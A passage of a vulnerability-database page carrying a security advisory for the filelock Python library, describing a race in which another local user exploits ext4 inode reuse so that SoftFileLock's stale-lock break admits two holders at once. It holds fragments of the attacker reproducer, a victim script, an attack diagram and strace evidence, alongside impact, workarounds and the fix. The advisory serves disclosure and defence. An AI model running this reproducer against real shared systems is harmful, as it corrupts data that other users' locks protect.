4096)\n    os.unlink(lock_path)\n    os.close(inotify)\n\n    # creating anything before the next holder does would take that inode number away from it\n    while not os.path.lexists(lock_path):\n        time.sleep(0.0002)\n```\n\n**`repro.d/victim_job.py`**\n\n```python\n#!/usr/bin/env python3\nimport random\nimport sys\nimport time\n\nfrom filelock import SoftFileLock\n\nlock_path, run_seconds = sys.argv[1], float(sys.argv[2])\n\nlock = SoftFileLock(lock_path)\nstop_at = time.monotonic() + run_seconds\nwhile time.monotonic() \u003c stop_at:\n    with lock:\n        entered = time.monotonic()\n        time.sleep(random.uniform(0.05, 0.15))  # the work the lock protects\n        print(entered, time.monotonic(), lock.is_locked, flush=True)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant X as other local user (uid 1001)\n    participant P as app.lock (root-owned 1777 dir, ext4)\n    participant A as process A of the lock user (uid 1000)\n    participant B as process B of the lock user (uid 1000)\n    X-\u003e\u003eP: create \"livepid host 1\", utime to 2100 (inode I)\n    A-\u003e\u003eP: open, fstat (ino I, mtime 2100), read, close\n    A-\u003e\u003eA: owner_is_stale: recycled PID (slow: /proc read of X\u0027s 8000-thread process)\n    rect rgb(255, 214, 214)\n        X-\u003e\u003eP: inotify IN_CLOSE_NOWRITE on own file: unlink it, I is free\n        B-\u003e\u003eP: O_CREAT|O_EXCL: new marker gets inode I, B holds and enters\n        A-\u003e\u003eP: lstat: mtime now \u003c= 2100 and ino == I: rename to app.lock.break.*\n        A-\u003e\u003eP: lstat break name: same, unlink B\u0027s live marker\n        A-\u003e\u003eP: next poll 50 ms later: O_EXCL create, A enters beside B\n        Note over A,B: B\u0027s release finds another inode, leaves it, no error on either side\n    end\n```\n\n## Evidence\n\nThe scanner\u0027s reproducer runs six `victim` jobs (uid 1000) looping `with SoftFileLock(\"/tmp/shared-locks/app.lock\"):` around 50 to 150 ms of work, printing `time.monotonic()` entry and exit and `lock.is_locked`, for 20 s. Beside them runs an `attacker` process (uid 1001) with 8000 idle threads that plants its marker whenever the path is free, waits for `IN_CLOSE_NOWRITE`, unlinks it and waits for the next `victim` marker. The control (markers dated 2000) prints `191 holds by 6 victim jobs, two jobs inside the lock at once: 0 times`. The disturbed run (dated 2100) prints `196 holds, two jobs inside the lock at once: 15 times`, for example `job3 inside 130.436-130.530, job5 inside 130.444-130.521`, with `stale-break files left in /tmp/shared-locks: []`. Six runs gave between 11 and 24 overlaps, 0 in each control, every `with` block ending without error with `is_locked == True`.\n\nAn `strace` of a landed round shows A\u0027s `close(4\u003c/tmp/app.lock\u003e(deleted))`, B\u0027s `openat(O_WRONLY|O_CREAT|O_EXCL|...)` with `st_ino=296421`, and A\u0027s `lstat`, `rename`, `lstat`, `unlink` all on 296421, followed by B\u0027s `write(4\u003c/tmp/app.lock.break.32232.7d9f...\u003e(deleted), ...)` and A\u0027s own create 53 ms later.\n\nOur review ran the reproducer over a loop-mounted ext4 `/tmp` inside the container (the host\u0027s btrfs does not reuse a number). Result: BUG on 4.2.0 in 43 s, with the other user as uid 1001 against the lock user\u0027s processes as uid 1000; it created and unlinked only its own file in a root-owned `1777` directory. On btrfs the same run is OK, so the condition is the filesystem\u0027s inode allocation. On the head of #843 the run was OK with 0 overlaps in 193 holds.\n\n## Impact\n\nA local user who can create files in the lock\u0027s directory puts two processes of another user inside the same default-configured `SoftFileLock`, `MarkerSoftFileLock` or `SoftFileLease` at once, with no exception, no `lifetime`, no lease expiry and no `break_lock()` involved. Two holders then write the data the lock protects. `SoftFileLock` and `MarkerSoftFileLock` holders learn nothing. A displaced `SoftFileLease` holder got `compromise.reason == \"owner-changed\"` at its first heartbeat (the periodic refresh a lease holder runs) when the second holder\u0027s marker was still at the path, and `None` after 13 s when the second holder had already released.\n\nIt is a race, but the other user controls the start and the length of the window, and each failed attempt costs the lock user\u0027s processes one poll. Under the same interference with two processes of the lock user and 20 ms critical sections, 26 of 110 holds in 60 s found their own marker unlinked (`st_nlink == 0`, no name left for the file) while inside, without two holds overlapping. Not affected: tmpfs and btrfs, a lock with a single contender, `StrictSoftFileLock`.\n\n## Workarounds\n\nKeep soft locks in a directory other users cannot create files in (a `0700` directory of the lock\u0027s user) rather than a shared sticky directory, or place the lock directory on tmpfs, which does not reuse inode numbers. Where the native `FileLock` works (local ext4 with `flock`), prefer it over `SoftFileLock`. `StrictSoftFileLock` is not affected.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/843\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-KIIS96IX`, scanned commit b831496b0273)\n- 2026-10-16 01:42 UTC: fix PR #843 opened\n- 2026-10-16 05:38 UTC: draft advisory created",
  "id": "GHSA-fq56-3cx3-fjxp",
  "modified": "2026-10-28T21:08:08Z",
  "published": "2026-10-28T21:08:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-fq56-3cx3-fjxp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112935"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/pull/843"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/commit/740ff666b62a88496c8d7394e4e6230605e4d62b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tox-dev/filelock"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "filelock: SoftFileLock stale-lock break removes a live lock file on a reused inode number and admits two holders"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON

Loading timeline…




    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.